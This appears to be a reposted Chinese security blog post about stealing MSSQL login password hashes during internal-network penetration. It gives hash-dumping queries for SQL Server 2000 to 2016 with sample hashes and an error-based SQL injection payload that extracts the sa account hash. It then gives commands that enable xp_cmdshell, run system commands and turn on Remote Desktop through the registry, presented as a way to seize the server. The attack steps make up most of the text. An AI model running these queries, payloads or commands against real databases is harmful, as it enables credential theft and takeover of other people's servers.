窃取MSSQL各版本密码HASH

admin 2021年1月25日00:00:50评论233 views字数 1562阅读5分12秒阅读模式

MSSQL使用自制的密码哈希算法对用户密码进行哈希,在内网渗透中,大多数服务口令都是一样的,收集MSSQL数据库的用户和密码可能会有用。


01MSSQL各版本密码HASH

MSSQL 2000版本

select name,password from master.dbo.sysxlogins 
Hash格式: 0x0100(固定) + 8key40位HASH1 +40位HASH20x0100AC78A243F2E61FA800A7231C501D49CDA5B93A8A2294DC68AE487C99233F245F86A9ED5749F1838021EE1610

窃取MSSQL各版本密码HASH

MSSQL 2005版本

select name,password_hash from sys.sql_logins
Hash格式:0x0100(固定) +8key+ 20位HASH1 + 20位HASH2 0x01004086CEB698DB9D0295DBF84F496FDDCECADE1AE5875EB294

窃取MSSQL各版本密码HASH

MSSQL 2008 R2版本

Select name,password_hash from sys.sql_logins where name = 'sa'
Hash格式:0x0100(固定) +8key+ 20位HASH1 + 20位HASH2 0x0100A9A79055CACB976F1BE9405D2F7BE7B2A98003007978F821

窃取MSSQL各版本密码HASH

MSSQL 2012 R2版本

select name,password_hash from sys.sql_logins
0x02009B23262ECB00E289977FA1209081C623020F2D28E23B5C615AC7BA8C0F25FEE638DC2E4DEAF023350C1E31199364879A94D65FC79F10BB577D6CB86A8C7148928DC8AFFB

窃取MSSQL各版本密码HASH

SQL Server 2016版本

select name,password_hash from sys.sql_logins 
0x02002F8E6FBBE1B6A9961A7E397FDD3A26F795DF806A066940B26323BE89F3450064C8657C75E2A3729E8318BBE91692335F4D2F5633BADEF7A25EC8AC003E9C4DB342312505
窃取MSSQL各版本密码HASH

02、SQL注入获取Sa账号密码

(1) 通过报错注入获取sa账户的哈希密码

?Keyword=1111%' AND (Select  master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa')=1 AND '%'='
窃取MSSQL各版本密码HASH

(2)解密获取sa明文密码

窃取MSSQL各版本密码HASH

(3)在内网或数据库端口开放的情况下,可直接连入数据库执行系统命令,获取服务器控制权限。

# 开启xp_cmdshell存储过程EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;# 利用xp_cmdshell执行系统命令Exec master.dbo.xp_cmdshell '# SQL语句开启远程Exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;

本文始发于微信公众号(Bypass):窃取MSSQL各版本密码HASH

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月25日00:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   窃取MSSQL各版本密码HASHhttps://cn-sec.com/archives/253240.html

发表评论

匿名网友 填写信息